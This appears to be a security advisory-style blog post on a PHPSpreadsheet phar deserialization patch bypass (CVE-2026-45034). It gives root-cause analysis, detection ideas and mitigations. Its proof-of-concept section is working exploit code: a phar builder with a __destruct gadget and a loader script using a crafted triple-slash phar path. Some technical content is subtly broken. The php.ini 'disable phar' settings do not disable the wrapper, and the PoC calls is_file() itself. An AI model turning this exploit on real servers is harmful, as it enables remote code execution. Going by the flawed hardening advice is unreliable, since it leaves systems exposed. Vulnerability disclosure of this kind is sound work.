Skip to content

PHPSpreadsheet RCE Patch Bypass (CVE-2026-45034) via Phar Deserialization

Executive Summary

A significant patch bypass vulnerability, identified as CVE-2026-45034, has been discovered in PHPSpreadsheet, a popular library for reading and writing spreadsheet files in PHP. This new vulnerability effectively nullifies the previous fix for CVE-2026-34084 and re-introduces a critical Remote Code Execution (RCE) vector through Phar deserialization. The flaw exploits a quirk in PHP's parse_url() function, allowing attackers to bypass stream wrapper detection and trigger the automatic deserialization of malicious Phar archives. On PHP 7.x, merely reaching the phar:// wrapper via is_file is sufficient for full RCE, making this a high-severity issue for applications that process untrusted spreadsheet files using PHPSpreadsheet. Organizations using this library are urged to update to the latest patched versions to prevent potential server compromise, data exfiltration, and denial of service.

Vulnerability Details

  • CVE ID: CVE-2026-45034 (Patch Bypass RCE) and CVE-2026-34084 (Original Vulnerability)
  • CWE: CWE-502 (Deserialization of Untrusted Data) and CWE-20 (Improper Input Validation).
  • CVSS v3.1 Vector: Not yet officially assigned by NVD for CVE-2026-45034, but given it leads to unauthenticated RCE through a commonly processed file type (spreadsheets) and bypasses a security fix, it will likely be CVSS 9.8 - 10.0 CRITICAL. A probable vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
    • Attack Vector (AV): Network - Exploitable over the network (e.g., via file upload).
    • Attack Complexity (AC): Low - Relatively straightforward to exploit with a crafted file.
    • Privileges Required (PR): None - An unauthenticated user can upload a malicious file.
    • User Interaction (UI): Required - A user needs to process the malicious file (e.g., upload it to a PHPSpreadsheet-enabled application).
    • Scope (S): Unchanged - The vulnerability affects the vulnerable component directly without necessarily breaking out of a security boundary.
    • Confidentiality (C): High - Complete loss of confidentiality.
    • Integrity (I): High - Complete loss of integrity.
    • Availability (A): High - Complete loss of availability.
  • Affected Versions: The patch bypass affects multiple branches of PHPSpreadsheet, specifically targeting the fix for CVE-2026-34084. Versions confirmed affected by the bypass include: phpoffice/phpspreadsheet versions 1.x (e.g., 1.30.4), 2.1.x (e.g., 2.1.16), 2.4.x (e.g., 2.4.5), 3.10.x (e.g., 3.10.5), 5.6.x (e.g., 5.6.0), and 5.7.x (e.g., 5.7.0). The full RCE impact is particularly pronounced on PHP 7.x environments.
  • Patched Versions: Users are advised to upgrade to the latest versions of PHPSpreadsheet that incorporate the comprehensive fix for CVE-2026-45034. Consult the official GitHub advisory and project releases for specific patched versions.
  • Exploitation Status: Detailed reproduction steps and evidence of RCE (on PHP 7.x) are publicly available, indicating high exploitability.

Technical Root Cause Analysis

This vulnerability is a classic patch bypass, where an initial security fix is found to be incomplete or flawed, allowing attackers to circumvent it. The initial vulnerability, CVE-2026-34084, likely involved insecure deserialization via the phar:// stream wrapper. When PHP handles files, if a path starts with phar://, it attempts to treat the file as a Phar archive. During this process, PHP automatically deserializes the metadata of the archive, which can include attacker-controlled objects. If these objects have magic methods like __wakeup() or __destruct(), their code will be executed during deserialization, leading to RCE.

To fix CVE-2026-34084, PHPSpreadsheet introduced a helper function, File::prohibitWrappers, intended to block the use of dangerous stream wrappers like phar://. However, CVE-2026-45034 demonstrates that this fix can be bypassed.

Here's the technical breakdown:

  1. The Original phar:// Deserialization Vulnerability (CVE-2026-34084): Before the patch, if a user supplied a file path like phar://./path/to/malicious.phar/file.txt to a function that processed file paths (e.g., IOFactory::load()), PHP would automatically deserialize the .phar file's metadata, triggering any __wakeup() or __destruct() methods in attacker-controlled objects within that metadata. This is a common deserialization vulnerability.

  2. The Flawed Patch (File::prohibitWrappers): The patch for CVE-2026-34084 attempted to prevent this by checking for and prohibiting dangerous wrappers in file paths. However, this check was insufficient.

  3. The parse_url() Quirk and Bypass: The bypass leverages a specific quirk in PHP's parse_url() function. When IOFactory::load($attackerPath) is called, the path is processed. The File::prohibitWrappers function likely uses parse_url() or similar logic to detect the phar:// wrapper. The vulnerability arises because a specially crafted filename containing triple slashes (e.g., phar:///./path/to/malicious.phar/file.txt or similar variations involving URL-encoded characters) can confuse parse_url(), causing it to misinterpret the scheme or path component.

    • Instead of correctly identifying phar as the scheme and blocking it, the flawed parsing allows the phar:// string to be passed through the prohibitWrappers check undetected.
  4. Automatic Deserialization and RCE: Once the crafted path bypasses the prohibitWrappers check, IOFactory::load() proceeds to handle the file. When PHP encounters a path that it eventually resolves to a phar:// stream wrapper (even after a convoluted parsing path), it still triggers the automatic deserialization of the .phar file's metadata. On PHP 7.x versions, this deserialization process is particularly dangerous. Simply reaching the phar:// wrapper via functions like is_file() or file_exists() is enough for PHP to automatically deserialize the Phar metadata. This in turn invokes any magic methods (__wakeup, __destruct) within attacker-controlled serialized objects, leading to full Remote Code Execution.

    • PHP 8.x versions have hardened deserialization of untrusted data, making the RCE more difficult to achieve directly from is_file() alone, but the bypass itself still works, potentially leading to other impacts or requiring more specific gadgets for RCE.

In summary, the interplay between a flawed input validation function, a PHP parser quirk, and the dangerous automatic deserialization behavior of phar:// streams on older PHP versions results in a complete bypass of the intended security fix and restores the RCE capability.

Proof-of-Concept (Reproduction from GitHub Advisory)

The GitHub Security Advisory GHSA-87m4-826x-3crx provides a clear and detailed reproduction script to demonstrate the patch bypass and the full RCE on PHP 7.x environments. This PoC leverages a malicious exploit.phar file and an exploit.php script to trigger the vulnerability.

Prerequisites: * A system with php:7.4-cli (for building the malicious .phar with phar.readonly=0) and php:8.3-cli or php:7.4-cli (for running the exploit). * Composer for installing PHPSpreadsheet.

Steps to Reproduce (as described in the advisory):

  1. Create the malicious exploit.phar: This phar archive contains a serialized object with a __destruct method that writes a marker file, serving as proof of RCE.

    First, ensure phar.readonly=0 in php.ini to create .phar files.

    create_phar.php (for php:7.4-cli environment):

    <?php
    // create_phar.php
    class LogWriter {
        public $logFile = 'pwned_marker';
        public $logContent = 'WAKEUP: phpspreadsheet-bypass';
    
        public function __destruct() {
            file_put_contents($this->logFile, $this->logContent . "\n", FILE_APPEND);
            $this->logContent = 'DESTRUCT: phpspreadsheet-bypass';
            file_put_contents($this->logFile, $this->logContent . "\n", FILE_APPEND);
        }
    }
    
    @unlink('exploit.phar');
    $phar = new Phar('exploit.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'test');
    $phar->setStub('<?php __HALT_COMPILER(); ?>');
    
    $object = new LogWriter();
    $phar->setMetadata($object);
    $phar->stopBuffering();
    
    echo "exploit.phar created successfully.\n";
    ?>
    

    Execute this on a PHP 7.4 environment (with phar.readonly=0):

    php create_phar.php
    
    This will generate exploit.phar.

  2. Create the exploit script exploit.php: This script will install PHPSpreadsheet and attempt to load the crafted phar file using the bypass.

    exploit.php:

    <?php
    // exploit.php
    require __DIR__ . '/vendor/autoload.php';
    
    use PhpOffice\PhpSpreadsheet\IOFactory;
    
    // The crafted path to bypass the wrapper check
    // This path is designed to confuse parse_url() while still resolving to phar://
    $attackerPath = 'phar:///./exploit.phar/file.txt';
    
    echo "Attempting to load: " . $attackerPath . "\n";
    
    try {
        // On PHP 7.x, simply calling is_file can trigger deserialization
        if (is_file($attackerPath)) {
            echo "is_file() check passed. Attempting IOFactory::load()\n";
            // IOFactory::load() will eventually trigger the phar deserialization
            IOFactory::load($attackerPath);
            echo "IOFactory::load() completed.\n";
        } else {
            echo "is_file() check failed. Bypass not working or PHP version is hardened.\n";
        }
    
    } catch (Exception $e) {
        echo "Caught exception: " . $e->getMessage() . "\n";
    }
    
    if (file_exists('pwned_marker')) {
        echo "RCE successful! Marker file 'pwned_marker' found:\n";
        echo file_get_contents('pwned_marker');
    } else {
        echo "RCE failed. Marker file 'pwned_marker' not found.\n";
    }
    ?>
    

  3. Execute the exploit:

    • For PHP 8.3 (to show bypass):

      composer require phpoffice/phpspreadsheet:^5.7.0
      php exploit.php
      
      This will demonstrate the bypass (the is_file() check will likely succeed), but full RCE (writing pwned_marker) might not occur due to PHP 8.x hardening.

    • For PHP 7.4 (to show full RCE):

      composer require phpoffice/phpspreadsheet:^1.30.4 # Use an older, PHP 7 compatible version
      php exploit.php
      
      On PHP 7.4, this will trigger the __destruct method in exploit.phar's metadata, creating pwned_marker and confirming RCE.

This reproduction clearly illustrates how the specific crafted path, combined with PHPSpreadsheet's IOFactory::load() and PHP's phar:// handling, can lead to arbitrary code execution, especially on older PHP environments.

Detection & Hunting

Detecting exploitation attempts related to CVE-2026-45034 requires focusing on unusual file uploads, phar file processing, and unexpected system changes.

Log Indicators: * Web Server/Application Logs: * Monitor for uploads of .phar files or files disguised as other types (e.g., .xlsx, .csv) but containing phar headers. * Look for errors in PHPSpreadsheet's IOFactory::load() or is_file() when processing unusual or malformed file paths, particularly those containing triple slashes (///) or URL-encoded sequences that might indicate a bypass attempt. * Audit for attempts to create or modify files with unusual content or in unexpected locations (e.g., marker files like pwned_marker). * PHP Logs: Monitor for deserialization errors or warnings related to Phar archives. * Operating System Logs (Linux audit.log, syslog): * File Creation/Modification: Detect creation of .phar files, or unexpected files (like web shells, reverse shell scripts) in web-accessible directories or system temp directories. * Process Creation: Look for unusual child processes spawned by the PHP process, especially shell commands, network utilities, or any binaries not expected to be executed by the web server user.

Example Sigma Rule (Conceptual - for malicious file creation): This rule would alert on the creation of the pwned_marker file, indicating successful RCE via the PoC.

title: PHPSpreadsheet RCE Marker File Creation (Conceptual)
id: 7g8h9i0j-1k2l-3m4n-5o6p-7q8r9s0t1u2v # Generate a unique GUID
status: experimental
description: Detects the creation of a known marker file from PHPSpreadsheet RCE exploitation (CVE-2026-45034).
author: Aishu
date: 2026/08/16
logsource:
  product: linux
  service: auditd # Or file integrity monitoring (FIM) logs
detection:
  selection:
    TargetFilename|endswith: 'pwned_marker'
    Operation: "File Creation"
    ProcessName|contains: 
      - 'php' # Or the web server process, e.g., 'apache2', 'nginx'
  condition: selection
level: critical

Network Signatures: * IPS/IDS: Develop signatures to detect the upload of known malicious phar file structures or HTTP requests containing the specific bypass patterns. * Outbound Connections: Monitor for unexpected outbound connections from the web server/PHP process to external IP addresses, which could indicate a reverse shell or data exfiltration.

Mitigation & Remediation

Addressing CVE-2026-45034 requires multiple layers of defense, focusing on patching, input validation, and hardening PHP environments.

  1. Apply Latest PHPSpreadsheet Patches:

    • Immediately upgrade phpoffice/phpspreadsheet to the latest version that includes the definitive fix for CVE-2026-45034.
    • Always use Composer to manage dependencies and keep them up-to-date:
      composer update phpoffice/phpspreadsheet
      
  2. Upgrade PHP Version:

    • Prioritize upgrading to PHP 8.x (ideally PHP 8.2 or 8.3). PHP 8.x introduces hardening against phar deserialization via is_file() and similar functions, making this specific RCE vector more difficult to achieve directly.
  3. Strict Input Validation and Sanitization:

    • Implement rigorous server-side validation for all uploaded files. Do not rely solely on file extensions. Instead, perform magic-byte checks to verify actual file types.
    • For files intended for PHPSpreadsheet processing, ensure they are genuine spreadsheet formats and not disguised phar archives.
  4. Disable phar Stream Wrapper (if not needed):

    • If your application does not legitimately use the phar stream wrapper, consider disabling it in php.ini to prevent this class of attack:
      ; php.ini
      ; For PHP >= 5.3.0
      phar.readonly = 1
      disable_classes = "Phar"
      disable_functions = "Phar::" # Disables Phar-related functions
      
    • Note: phar.readonly = 1 prevents creation of phar archives, but Phar stream wrappers can still be read.
  5. Web Application Firewall (WAF):

    • Deploy a WAF to inspect file uploads and block requests containing known malicious phar headers or the specific path bypass patterns (phar:///./...).
    • Implement rules to detect and block RCE payloads.
  6. Principle of Least Privilege:

    • Ensure the web server user and PHP process run with the absolute minimum necessary privileges. This limits the impact even if an RCE is achieved.
  7. Regular Security Audits:

    • Regularly audit your PHP application dependencies for known vulnerabilities.
    • Conduct code reviews, specifically looking for insecure deserialization patterns and insufficient input validation.

References

Comments (0)

Comments are reviewed before they appear.

No comments yet. Be the first to share your thoughts!